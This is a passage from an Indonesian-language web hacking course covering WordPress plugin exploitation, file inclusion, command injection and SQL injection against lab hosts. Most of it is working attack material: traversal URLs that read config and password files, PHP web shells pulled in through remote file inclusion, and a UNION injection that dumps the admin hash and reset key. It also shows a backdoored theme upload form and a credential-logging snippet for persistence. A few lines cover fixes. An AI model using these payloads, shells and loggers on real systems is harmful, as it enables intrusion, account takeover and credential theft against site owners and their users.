* Reference: http://www.exploit-db.com/exploits/17860/

Name: wp-custom-pages
Location: http://192.168.1.105/blog/wordpress/wp-content/plugins/wp-custom-pa
/

[!] WP Custom Pages 0.5.0.1 LFI Vulnerability
* Reference: http://www.exploit-db.com/exploits/17119/

 Finished at Thu Apr 11 17:46:45 2013
 Elapsed time: 00:00:05
```

Di atas diberikan informasi letak exploit.

Latihan

1. Eksploitasi target yang mempunya celah RFI
2. Masukkan PHP Shell ke dalam dan remote melalui telnet

39.2 Penggunaan WPSCAN untuk enumeration username dan brute force password

Network enumeration is a computing activity in which usernames and info on groups, shares, and services of networked computers are retrieved.

A network enumerator or network scanner' is a computer program used to retrieve usernames and info on groups, shares, and services of networked computers. This type of program scans networks for vulnerabilities in the security of that network. If there is a vulnerability with the security of the network, it will send a report back to a hacker who may use this info to exploit that network glitch to gain entry to the network or for other malicious activities. Ethical hackers often also use the information to remove the glitches and strengthen their network.

Sumber : https://en.wikipedia.org/wiki/Network_enumeration

wpscan --url http://192.168.1.32/blog/wordpress --enumerate u

```
root@dhcppc4: ~
 | Location: http://192.168.1.32/blog/wordpress/wp-content/plugins/thecartpress/
 |
 | [!] TheCartPress = 1.6 Cross Site Sripting
 | * Reference: http://packetstormsecurity.org/files/108272/
 |
 | [!] TheCartPress 1.1.1 Remote File Inclusion
 | * Reference: http://www.exploit-db.com/exploits/17860/

 | Name: wp-custom-pages
 | Location: http://192.168.1.32/blog/wordpress/wp-content/plugins/wp-custom-pag
es/
 |
 | [!] WP Custom Pages 0.5.0.1 LFI Vulnerability
 | * Reference: http://www.exploit-db.com/exploits/17119/

[+] Enumerating usernames ...

[+] We found the following 1 username/s :

| id: 1 | name: admin | nickname: admin | Toko Online

[+] Finished at Sun Aug 21 07:23:51 2016
[+] Elapsed time: 00:00:09
root@dhcppc4:~#
```

wpscan --url http://192.168.1.32/blog/wordpress --wordlist pass.txt threads 50

```
[+] Finished at Sun Aug 21 07:23:51 2016
[+] Elapsed time: 00:00:09
root@dhcppc4:~# wpscan --url http://192.168.1.32/blog/wordpress --wordlist pass.
txt threads 50
_______________________________________________________________
 __          _______   _____
 \ \        / /  __ \ / ____|
  \ \  /\  / /| |__) | (___   ___  __ _ _ __
   \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
    \  /\  /  | |     ____) | (__| (_| | | | |
     \/  \/   |_|    |_____/ \___|\__,_|_| |_| v2.0rNA
```

```
 |
 | [!] WP Custom Pages 0.5.0.1 LFI Vulnerability
 | * Reference: http://www.exploit-db.com/exploits/17119/

[+] Enumerating usernames ...

[+] We found the following 1 username/s :

 | id: 1 | name: admin | nickname: admin | Toko Online

[+] Starting the password brute forcer

  Brute forcing user 'admin' with 13 passwords... 100% complete.
  [SUCCESS] Username : admin Password : baseball



[+] Finished at Sun Aug 21 07:26:15 2016
[+] Elapsed time: 00:00:52
```

Bab 40

File inclusion vulnerability

40.1 File inclusion vulnerability

File inclusion vulnerability is a type of vulnerability most often found on websites. It allows an attacker to include a file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/File_inclusion_vulnerability

40.2 LFI (Local File Inclution)

Local File Inclusion (LFI) is similar to a Remote File Inclusion vulnerability except instead of including remote files, only local files i.e. files on the current server can be included. The vulnerability is also due to the use of user-supplied input without proper validation.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/File_inclusion_vulnerability

Contoh

LFI Wordpress (Bug pada WP Custom Pages 0.5.0.1)

http://www.exploit-db.com/exploits/17119/

Target : http://192.168.1.32/blog/wordpress

A1 http://192.168.1.32/blog/wordpress/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2fphpMyAdmin%2fdocumentation.txt

A2. http://192.168.1.32/blog/wordpress/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini

A3. http://192.168.1.32/blog/wordpress/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2fphpMyAdmin%2fconfig.inc.php

A4. http://192.168.1.32/blog/wordpress/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2fwp-config.php

Membahas celah keamanan LFI pada suatu plugin Wordpress

http://www.exploit-db.com/exploits/16251

Local file inclusion merupakan suatu celah keamanan web yang di mana attacker dapat mengakses file-file didalam server, pembahasan kita di sini adalah pada celah keamanan Plugin Wordpress yang bernama WordPress OPS Old Post Spinner versi 2.2 yang di mana informasi bug ini didapatkan dari Autosec Tools, mari kita bedah salah satu file php yang bernama logview.php.

```
<?php
/*  Copyright 2010 Juergen Schulze, 1manfactory.com

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
```

```
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
*/

$ops_file=urldecode($_GET["ops_file"]);
header('Content-type: text/html; charset="utf-8"',true);
if (@file_exists($ops_file)) {
print "<pre>";
foreach (file($ops_file) as $line) {
print $line;
}
print "</pre>";
} else {
print '<br>No logfile until now';
}
```

Di atas kita temukan ada variabel $ops_file yang menggunakan urldecode hehe, untuk informasi tentang urldecode masuk aja ke http://php.net/manual/en/function.urldecode.php.

Di sini penulis contohkan melakukan urldecode pada suatu teks

```
<?php
echo urldecode("Kurni%C3w%C3n+g%C3nteng");
?>
```

Hasilnya :

KurniÃwÃn gÃnteng

Halah masih main-main aja hehe. Nah bagaimana jika :

```
<?php
echo urldecode("%2f");
?>
```

Hasilnya adalah

/

Dengan begitu diketahui bahwa urldecode tidak aman untuk tindakan filtering pada suatu variabel, nah akibatnya memungkinkan penulis untuk dapat memanfaatkan variabel ops_file untuk obok-obok server.

PoC yang penulis lakukan untuk melihat setting PHP.INI di server target.

http://192.168.1.32/blog/wordpress/wp-content/plugins/old-post-spinner/logview.php?ops_file=..%2f..%2f..%2f..%2f..%2f..%2fphp%2fphp.ini

File Edit View Favorites Tools Help

Back Search Favorites

Address http://180.246.176.178/wp-content/plugins/old-post-spinner/logview.php?ops_file=..%2f..%2f..%2f..%2f..%2fphp%2fphp.ini

```
upload_max_filesize = 128M

;;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;;

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen = On

; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include = On

; Define the anonymous ftp password (your email address). PHP's default setting
; for this is empty.
; http://php.net/from
;from="john@doe.com"

; Define the User-Agent string. PHP's default setting for this is empty.
; http://php.net/user-agent
;user_agent="PHP"

; Default timeout for socket based streams (seconds)
; http://php.net/default-socket-timeout
default_socket_timeout = 60

; If your scripts have to deal with files from Macintosh systems
```

40.3 RFI (Remote File Inclution)

Remote File Inclusion (RFI) is a type of vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/File_inclusion_vulnerability

Contoh celah pada keamanan plugin wordpress : Annonces Wordpress plugin RFI.

http://www.exploit-db.com/exploits/17863/

Web Target

http://192.168.1.32/blog/wordpress

PoC

http://192.168.1.32/blog/wordpress/wp-content/plugins/annonces/includes/lib/photo/uploadPhoto.php?abspath=http://192.168.1.193/shell.txt?

Celah

require_once($_GET['abspath'] . 'wp-load.php');

Contoh Scanning dengan Wapiti

Target : http://192.168.1.32/sinaraccounting

Contoh PHP Shell sederhana

<? $cmd = $_GET["cmd"]; if (!empty($cmd)) { echo "<pre>"; system($cmd); echo "</pre>"; exit; } ?>

```
root@kali: ~
File  Edit  View  Search  Terminal  Help
-------------------------

Looking for permanent XSS
-------------------------
root@kali:~# wapiti http://192.168.1.105/sinaraccounting
Wapiti-1.1.6 (wapiti.sourceforge.net)
......
Attacking urls (GET)...
-----------------------
Warning include (accounting) in http://192.168.1.105/sinaraccounting/index.php
        Evil url: http://192.168.1.105/sinaraccounting/index.php?accounting=http
%3A%2F%2Fwww.google.fr%2F

Attacking forms (POST)...
-------------------------

Looking for permanent XSS
-------------------------
root@kali:~# wapiti http://192.168.1.105/data
Wapiti-1.1.6 (wapiti.sourceforge.net)
.
Attacking urls (GET)...
-----------------------
```

PoC

http://192.168.1.32/sinaraccounting/index.php?accounting=http://192.168.1.32/shell.txt
?

PHP shell : shell.txt

```
<form action="<?=$_SERVER['REQUEST_URI']?>" method="POST">

<input type="text" name="x" value="<?=($_POST['x'])?>">

<input type="submit" value="cmd"></form>

<pre><? echo `{$_POST['x']};` ?> </pre><? die(); ?>
```

Sumber : https://www.idontplaydarts.com/2011/03/php-remote-file-inclusion-command-shell-using-data-stream/

40.4 Contoh pengamanan RFI dari sisi script PHP

Fungsi-fungsi php yang digunakan dalam LFI/RFI: include(), include_once(), require(), require_once()

```
<?
$file = $_GET['sinaraccounting'];
      if(isset($file)){
        $file =  $file.".php";
         include($file);
}
?>
```

Di sini script file tidak terdapat filter file apa saja yang boleh dimasukkan, maka kita bisa melakukan patch pada script tersebut untuk melakukan filter bahwa hanya file home.php yang bisa kita masukkan, sehingga script menjadi:

```
<?

$check = array('home','profile','testimonial','download','contact');
$file = $_GET['accounting'];
        if(in_array($file, $check)){
        $file =  $file.".php";
         include($file);
}
```

?>

Contoh pengamanan LFI dengan Update Plugin (0.5.0.2)

Dalam kasus Wordpress dapat melakukan update
http:/downloads.wordpress.org/plugin/wp-custom-pages.zip

Contoh pengamanan RFI dari sisi konfigurasi server

Untuk terjadi serangan LFI dan RFI maka konfigurasi Web Server yg dibutuhkan pada PHP.INI adalah allow_url_include = on; allow_url_fopen = on

Pengamanan dari sisi konfigurasi Web server pada PHP.INI : allow_url_include = off, allow_url_fopen = off, magic_quotes_gpc= on

Dan default untuk posisi file php.ini adalah: OS Windows : C:\ xampp\php\php.ini, OS Linux : /opt/lampp/etc/php.ini

Mengenal DVWA untuk belajar eksploitasi XSS persistent dengan berbagai variasi injeksi

Jika target low security

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=http://192.168.1.9/r57.txt?

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=.../../../../../../../etc/passwd

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=.../../../../../../../var/www/login.php

Jika target medium security

Serangan http://192.168.1.102/dvwa/vulnerabilities/fi/?page=http://192.168.1.9/r57.txt? tidak mempan

Serangan http://192.168.1.102/dvwa/vulnerabilities/fi/?page=.../../../../../../etc/passwd tidak mempan

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=....//....//....//....//....//etc/passwd" or "..././..././..././..././..././etc/passwd

Jika target High security

Serangan http://192.168.1.102/dvwa/vulnerabilities/fi/?page=http://192.168.1.9/r57.txt? tidak mempan

Serangan http://192.168.1.102/dvwa/vulnerabilities/fi/?page=.../../../../../../etc/passwd tidak mempan

Serangan http://192.168.1.102/dvwa/vulnerabilities/fi/?page=....//....//....//....//....//etc/passwd" or "..././..././..././..././..././etc/passwd tidak mempan

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=file:///etc/passwd

Materi sisipan

Scanning RFI menggunakan Uniscan

Uniscan is a simple Remote File Include, Local File Include and Remote Command Execution vulnerability scanner.

Sumber : https://sourceforge.net/projects/uniscan/

```
root@kalibr:/usr/share/uniscan# uniscan -u http://192.168.1.32/sinaraccounting -ds
# Uniscan project                    #
# http://uniscan.sourceforge.net/    #
V. 6.3

Scan date: 26-12-2017 3:34:37
| Domain: http://192.168.1.32/sinaraccounting/
| Server: Apache/2.2.9 (Win32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h mod_autoindex_color PHP/5.2.6
| IP: 192.168.1.32

| Crawler Started:
| Plugin name: E-mail Detection v.1.1 Loaded.
| Plugin name: External Host Detect v.1.2 Loaded.
| Plugin name: phpinfo() Disclosure v.1 Loaded.
| Plugin name: Upload Form Detect v.1.1 Loaded.
| Plugin name: FCKeditor upload test v.1 Loaded.
| Plugin name: Code Disclosure v.1.1 Loaded.
| Plugin name: Timthumb <= 1.32 vulnerability v.1 Loaded.
| Plugin name: Web Backdoor Disclosure v.1.1 Loaded.
```

uniscan -u http://192.168.1.32/sinaraccounting -ds

```
| Backup Files:

| Blind SQL Injection:

| Local File Include:

| PHP CGI Argument Injection:

| Remote Command Execution:

| Remote File Include:
| [+] Vul [RFI] http://192.168.1.32/sinaraccounting/index.php?accounting=http://uniscan.sourceforge.net/c.txt?

| SQL Injection:

| Cross-Site Scripting (XSS):

| Web Shell Finder:
| [+] Possible WebShell: http://192.168.1.32/sinaraccounting/c99.php
| [+] Possible WebShell: http://192.168.1.32/sinaraccounting/c99.php
| [+] Possible WebShell: http://192.168.1.32/c99.php
| [+] Possible WebShell: http://192.168.1.32/c99.php
| Static tests:
| Plugin name: Local File Include tests v.1.1 Loaded.
| Plugin name: Remote Command Execution tests v.1.1 Loaded.
| Plugin name: Remote File Include tests v.1.1 Loaded.
```

Hasilnya ditemukan celah RFI seperti di atas, selain itu juga dapat menemukan web shell.

Materi sisipan

WordPress Plugin Code Scanner

This tool is intended for Penetration Testers who audit WordPress plugins or developers who wish to audit their own WordPress plugins.

Download : https://github.com/m4ll0k/WPSploit

```
git clone https://github.com/m4ll0k/wpsploit.git
```

Jalankan perintah seperti di atas lalu masuk ke folder wpsploit.

Download file-file plugin dengan ekstensi php lalu cek bugnya seperti dibawah ini.

```
root@kalibr:~/wpsploit/wpsploit# python wpsploit.py uploadPhoto.php

#######################################
 - Wodpress Plugin Code Scanner
 - Coded by Momo Outaadi (@m4ll0k)
#######################################

Checking Cross-Site Scripting...
        - Possibile Cross-Site Scripting ==> $_GET['kbasha']
        - Possibile Cross-Site Scripting ==> $_GET['abspath']
        - Possibile Cross-Site Scripting ==> $_GET['abspath']
        - Possibile Cross-Site Scripting ==> $_GET['mainPluginFile']
Checking SQL Injection...
Checking File Download...
Checking File Inclusion...
        - Possibile File Inclusion ==> require_once($_GET['mainPluginFile'])
Checking PHP Object Injection...
Checking Command Execution...
Checking PHP Code Execution...
Checking Open Redirect...
Checking Cross-Site Request Forgery...
root@kalibr:~/wpsploit/wpsploit#
```

python wpsploit.py uploadPhoto.php

Meskipun hasilnya tidak akurat informasi celahnya, tapi bisa menjadi pengujian untuk testing blackbox untuk abspath misal untuk celah RFI.

```
root@kalibr:~/wpsploit/wpsploit# python wpsploit.py wp-download.php

#######################################
 - Wodpress Plugin Code Scanner
 - Coded by Momo Outaadi (@m4ll0k)
#######################################

Checking Cross-Site Scripting...
        - Possibile Cross-Site Scripting ==> $_GET["url"]
Checking SQL Injection...
Checking File Download...
Checking File Inclusion...
Checking PHP Object Injection...
Checking Command Execution...
Checking PHP Code Execution...
Checking Open Redirect...
Checking Cross-Site Request Forgery...
root@kalibr:~/wpsploit/wpsploit#
```

Meskipun hasilnya tidak akurat untuk celah bugnya, tapi bisa menjadi pengujian untuk testing blackbox pada url nya.

Materi sisipan

Command Injection

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

This attack differs from Code Injection, in that code injection allows the attacker to add his own code that is then executed by the application. In Code Injection, the attacker extends the default functionality of the application without the necessity of executing system commands.

Sumber :

Mengenal DVWA untuk belajar eksploitasi XSS persistent dengan berbagai variasi injeksi

Jika target low security

1 ; ls

Jika target medium & high security

Perintah 1 ; ls tidak mempan

1 & ls

Perintah 1 & ls tidak mempan

1|ls

Bab 41

SQL Injection

41.1 SQL Injection

SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/SQL_injection

41.2 Celah keamanan SQL Injection pada Plugin Wordpress :

http://www.exploit-db.com/exploits/20918/

```
Wordpress HD Webplayer 1.1 SQL Injection | Author: JoinSe7en [Team INTRA]


# Exploit Title: Wordpress HD Webplayer 1.1 SQL Injection

# Date: 28/08/2012

# Exploit Author: JoinSe7en

# Vendor Homepage: http://www.hdwebplayer.com/

# Software Link:
http://hdwebplayer.com/downloads/hdwebplayer_wordpress_1.1.zip

# Version: version 1.1
```

Untuk memeriksa ada tidaknya bug

192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1

This XML file does not appear to have any style information associated with it.

```
− <playlist>
  − <media>
      <id>1</id>
      <type>video</type>
      <video>http://hdwebplayer.com/player/videos/300.mp4</video>
      <streamer/>
      <thumb/>
      <preview/>
      <title>Sample Video</title>
    </media>
  </playlist>
```

http://192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1

192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1'

This XML file does not appear to have any style information associated with it. The document tree i

```
<playlist> </playlist>
```

http://192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1%27

Tanda petik untuk mengetahui mempunyai celah SQL Injection atau tidak

192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+order+by+1

This XML file does not appear to have any style information associated with it. The docum


```
– <playlist>
  – <media>
      <id>1</id>
      <type>video</type>
      <video>http://hdwebplayer.com/player/videos/300.mp4</video>
      <streamer/>
      <thumb/>
      <preview/>
      <title>Sample Video</title>
    </media>
  </playlist>
```


http://192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+order+by+1

192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+order+by+2

This XML file does not appear to have any style information associated with it. The document tree is shown below.


```
– <playlist>
  – <media>
      <id>1</id>
      <type>video</type>
      <video>http://hdwebplayer.com/player/videos/300.mp4</video>
      <streamer/>
      <thumb/>
      <preview/>
      <title>Sample Video</title>
    </media>
  </playlist>
```


http://192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+order+by+2

192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+order+by+11

This XML file does not appear to have any style information associated with it. The documen


```
- <playlist>
  - <media>
      <id>1</id>
      <type>video</type>
      <video>http://hdwebplayer.com/player/videos/300.mp4</video>
      <streamer/>
      <thumb/>
      <preview/>
      <title>Sample Video</title>
    </media>
  </playlist>
```


http://192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+order+by+11

192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+order+by+12

This XML file does not appear to have any style information associated with it. The docume


```
<playlist> </playlist>
```


http://192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+order+by+12

Di angka 12 beda, maka diambil sampai 11

192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+union+all+select+1,2,3,4,5,6,7,8,9,

This XML file does not appear to have any style information associated with it. The document tree is shown


```
– <playlist>
  – <media>
      <id>1</id>
      <type>video</type>
      <video>http://hdwebplayer.com/player/videos/300.mp4</video>
      <streamer/>
      <thumb/>
      <preview/>
      <title>Sample Video</title>
    </media>
  – <media>
      <id>1</id>
      <type>4</type>
      <video>7</video>
```


http://192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+union+all+select+1,2,3,4,5,6,7,8,9,10,11

Muncul untuk angka 1

192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+union+all+s

This XML fil

http://192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+union+all+select+@@version,2,3,4,5,6,7,8,9,10,11


```
– <playlist>
  – <media>
      <id>1</id>
      <type>video</type>
      <video>http://hdwebplayer.com/player/videos/300.mp4</video>
      <streamer/>
      <thumb/>
      <preview/>
      <title>Sample Video</title>
    </media>
  – <media>
      <id>5.0.51b</id>
      <type>4</type>
```


http://192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+union+all+select+@@version,2,3,4,5,6,7,8,9,10,11

Ganti 1 dengan @@version, untuk mengetahui versi MySQL

192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+union+all+select+user(),2,3,4,5,6,7

This XML file does not appear to have any style information associated with it. The document tree is shown bel

```
- <playlist>
  - <media>
      <id>1</id>
      <type>video</type>
      <video>http://hdwebplayer.com/player/videos/300.mp4</video>
      <streamer/>
      <thumb/>
      <preview/>
      <title>Sample Video</title>
    </media>
  - <media>
      <id>root@localhost</id>
      <type>4</type>
      <video>7</video>
```

http://192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+union+all+select+user(),2,3,4,5,6,7,8,9,10,11

Ganti @@version dengan user(), untuk mengetahui nama username database

192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+union+all+select+table_name,2,3,

```
      <preview>9</preview>
      <title>3</title>
    </media>
  - <media>
      <id>wp_users</id>
      <type>4</type>
```

http://192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+union+all+select+table_name,2,3,4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=database%28%29

Perintah di atas untuk mengetahui nama-nama tabel yang berada dalam database

INFORMATION_SCHEMA.Tampilan tabel memungkinkan Anda untuk mendapatkan informasi tentang semua tabel dan dilihat dalam database.

http://192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+union+all+select+column_name,2,3,4,5,6,7,8,9,10,11+from+information_schema.columns+where+table_name=0x77705F7573657273--

Buka HexWrite, pada nama tabel yang dipilih di convert ke hexadesimal, PoC nya seperti di atas

192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+union+all+select+co

This XML file does not appear to have any style information associated with it. The document tre

```
– <playlist>
  – <media>
      <id>1</id>
      <type>video</type>
      <video>http://hdwebplayer.com/player/videos/300.mp4</video>
      <streamer/>
      <thumb/>
      <preview/>
      <title>Sample Video</title>
    </media>
  – <media>
      <id>admin:$P$BuPRw00fiIXj5CVXcr2l0.u1zyq4101</id>
      <type>4</type>
      <video>7</video>
      <hd>8</hd>
```

http://192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+union+all+select+concat(user_login,0x3a,user_pass),2,3,4,5,6,7,8,9,10,11+from+wp_users--

CONCAT : adalah fungsi yang digunakan untuk menggabungkan satu atau lebih teks yang diberikan.

Di atas untuk mengetahui isi record dari user_login dan user_pass.

```
<id>admin:$P$BuPRw00fiIXj5CVXcr2l0.u1zyq4101</id>
```

Password yang ditemukan dapat dicoba dicrack.

Jika tidak ditemukan passwordnya maka masuk ke wp-login.php target dan klik Lost your password, masukkan username atau e-mail pada input Username or E-mail, setelah selesai klik Get New password

http://192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+union+all+select+concat(user_login,0x3a,user_activation_key),2,3,4,5,6,7,8,9,10,11+from+wp_users--

Isi dari activation key belum ada

Klik Lost your password

Klik Get New Password

Hasilnya

```
<playlist>
 - <media>
      <id>1</id>
      <type>video</type>
      <video>http://hdwebplayer.com/player/videos/300.mp4</video>
      <streamer/>
      <thumb/>
      <preview/>
      <title>Sample Video</title>
   </media>
 - <media>
      <id>admin:S7HlMuMG2fpWmiYgYpNe</id>
      <type>4</type>
      <video>7</video>
```

http://192.168.1.61/blog/wordpress/wp-content/plugins/webplayer/playlist.php?videoid=1+union+all+select+concat(user_login,0x3a,user_activation_key),2,3,4,5,6,7,8,9,10,11+from+wp_users--

Hasilya

<id>admin:S7HlMuMG2fpWmiYgYpNe</id>

Reset :

http://192.168.1.61/blog/wordpress/wp-login.php?action=rp&key=
S7HlMuMG2fpWmiYgYpNe&login=admin

Login

Tampilan halaman login

Klik Editor

Klik index.php

Appearance
Themes
Widgets
Menus
Background
Header
Editor
Plugins 5
Users
Tools
Settings
General
Writing
Reading
Discussion
Media

Twenty Ten: index.php

```
<?php
/**
 * The main template file.
 *
 * This is the most generic template file in a WordPress theme
 * and one of the two required files for a theme (the other being st
 * It is used to display a page when nothing more specific matches a
 * E.g., it puts together the home page when no home.php file exists
 * Learn more: http://codex.wordpress.org/Template_Hierarchy
 *
 * @package WordPress
 * @subpackage Twenty_Ten
 * @since Twenty Ten 1.0
 */

get_header(); ?>

                <div id="container">
                        <div id="content" role="main">

                        <?php
                        /* Run the loop to output the posts.
```

Tampilan pada index.php

Appearance
Themes
Widgets
Menus
Background
Header
Editor
Plugins 5
Users
Tools
Settings
General
Writing
Reading
Discussion
Media
Privacy
Permalinks

Twenty Ten: index.php

```
<?php if(isset($_GET['khasha']))
{
echo "<body bgcolor=black>

<font color=cyan size=3>";
echo "<h2>Alecs Uploaded Area</h2><hr>";
    echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
<label for=\"file\">Filename:</label>
<input type=\"file\" name=\"file\" id=\"file\" />
<br />
<input type=\"submit\" name=\"submit\" value=\"UPLOAD IT\">
</form>";
if ($_FILES["file"]["error"] > 0)
  {
  echo "Error: " . $_FILES["file"]["error"] . "<br />";
  }
else
  {
  echo "Upload: " . $_FILES["file"]["name"] . "<br />";
  echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
  echo "Stored in: " . $_FILES["file"]["tmp_name"];
  }
if (file_exists("" . $_FILES["file"]["name"]))
```

Copy paste script untuk menyisipkan fungsi upload file pada index.php

Update file

http://192.168.1.61/blog/wordpress/?khasha

Upload file r57.php

Hasilnya

Jika ingin memasang logger login

Lakukan seperti di atas

Letak untuk memasang logger login

$file = "logsx.txt";

$ip = $_SERVER['REMOTE_ADDR'];

$log = $_POST['log'];

$pwd = $_POST['pwd'];

$today = date("F j, Y, g:i a");

$handle = fopen($file, 'a');

fwrite($handle, "++");

fwrite($handle, "\n");

fwrite($handle, "IP: ");

fwrite($handle, "$ip");

fwrite($handle, "\n");

fwrite($handle, "Password: ");

fwrite($handle, "$pwd");

fwrite($handle, "\n");

fwrite($handle, "Login: ");

fwrite($handle, "$log");

fwrite($handle, "\n");

fwrite($handle, "Date Submitted: ");

fwrite($handle, "$today");

fwrite($handle, "\n");

fwrite($handle, "++");

fwrite($handle, "\n");

fwrite($handle, "\n");

fclose($handle);

Contoh jika ingin cracking password melalui dictionary attack

Source code PasswordHash Attack Tool

```
Command Prompt
09/12/2010  04:47              4.147 ptargrep
09/12/2010  04:47              4.753 ptargrep.bat
09/12/2010  04:32              3.017 pwhich
09/12/2010  04:32              3.576 pwhich.bat
09/12/2010  04:30              5.012 reloc_perl
09/12/2010  04:30              5.430 reloc_perl.bat
20/12/2010  00:13              2.958 remote.pl
09/12/2010  04:22              2.434 runperl.bat
20/12/2010  06:08             55.741 s2p.bat
16/03/2011  12:42              9.798 scanrfi.pl
09/12/2010  04:22             56.813 search.bat
09/12/2010  04:46              7.570 shasum
09/12/2010  04:46              8.256 shasum.bat
20/12/2010  06:08             18.543 splain.bat
09/12/2010  04:33              6.158 tkx-ed
09/12/2010  04:33              6.866 tkx-ed.bat
09/12/2010  04:33              5.389 tkx-prove
09/12/2010  04:33              6.021 tkx-prove.bat
09/12/2010  04:22            393.300 wperl.exe
10/09/2011  05:57              3.237 wphack.pl
20/12/2010  06:08              4.668 xsubpp.bat
               128 File(s)      4.583.156 bytes
                 2 Dir(s)   4.838.735.872 bytes free

C:\Perl\bin>edit mydic.txt_
```

Membuat wordlist sederhana

```
Command Prompt - edit  mydic.txt
File  Edit  Search  View  Options  Help
                C:\Perl\bin\mydic.txt
qassword
acces
handphone
baseball
mouse
keyboardx

F1=Help                                  Line:1     Col:1
```

Isi dari wordlist

```
Command Prompt

C:\Perl\bin>perl wphack.pl
Current Password: baseballe
Password FOUND: baseball
C:\Perl\bin>
```

Saat dilakukan crack dan hasilnya

Contoh lain

http://192.168.1.32/data

Troubleshoting untuk kasus user terlalu banyak

delete from tbl_user where level="2";

insert into tbl_user values("1","admin","e10adc3949ba59abbe56e057f20f883e","2");

delete from tbl_komentar where status="publish";

Scanning dengan Wapiti

```
root@kali: ~
File  Edit  View  Search  Terminal  Help
    self._sock = None
KeyboardInterrupt
root@kali:~# wapiti http://192.168.1.105/data/
Wapiti-1.1.6 (wapiti.sourceforge.net)
.
Attacking urls (GET)...
-----------------------

Attacking forms (POST)...
-------------------------

Looking for permanent XSS
-------------------------
root@kali:~# wapiti http://192.168.1.32/data/
Wapiti-1.1.6 (wapiti.sourceforge.net)
.......
Attacking urls (GET)...
-----------------------
MySQL Injection (postid) in http://192.168.1.32/data/view.php
        Evil url: http://192.168.1.32/data/view.php?postid=%BF%27%22%28

Attacking forms (POST)...
-------------------------
MySQL Injection in http://192.168.1.32/data/login.php?page=login
```

PoC nya di bawah ini :

http://192.168.1.32/data/view.php?postid=1'

1. Memeriksa Error

SQL Injection Biasa

http://192.168.1.32/data/view.php?postid=1

http://192.168.1.32/data/view.php?postid=1'

Blind SQL Injection

http://192.168.1.32/data/view.php?postid=1 and 1=0

